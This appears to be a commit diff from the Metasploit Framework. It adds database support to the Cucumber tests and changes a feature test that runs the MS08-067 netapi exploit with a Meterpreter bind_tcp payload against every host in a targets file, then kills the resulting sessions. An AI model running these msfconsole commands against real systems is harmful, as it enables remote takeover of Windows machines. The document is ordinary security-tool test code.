Support for tests that require the DB. Also update ms08-067 script with a few flags.
parent
140fafc159
commit
e3c5708363
|
@ -1,4 +1,4 @@
|
|||
@targets
|
||||
@targets @db
|
||||
Feature: MS08-067 netapi
|
||||
|
||||
Background:
|
||||
|
@ -14,11 +14,12 @@ Feature: MS08-067 netapi
|
|||
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
|
||||
self.run_single('use exploit/windows/smb/ms08_067_netapi')
|
||||
self.run_single('set payload windows/meterpreter/bind_tcp')
|
||||
hosts['windows'].each do |host|
|
||||
hosts.each do |host|
|
||||
self.run_single("set RHOST #{host['ipAddress']}")
|
||||
self.run_single('run')
|
||||
self.run_single('run -j')
|
||||
sleep 1
|
||||
end
|
||||
self.run_single('sessions -K')
|
||||
</ruby>
|
||||
"""
|
||||
When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`
|
||||
|
|
|
@ -25,5 +25,10 @@ unless Bundler.settings.without.include?(:coverage)
|
|||
simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup')
|
||||
# set environment variable so child processes will merge their coverage data with parent process's coverage data.
|
||||
set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}")
|
||||
|
||||
Before('@db') do |scenario|
|
||||
dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname))
|
||||
ActiveRecord::Base.establish_connection(dbconfig["test"])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue